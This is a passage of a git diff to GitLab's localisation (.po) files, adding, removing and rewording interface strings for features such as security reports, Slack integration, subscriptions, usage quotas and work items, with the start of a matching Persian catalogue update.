-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index f8434a72c3b..079df9bf23f 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
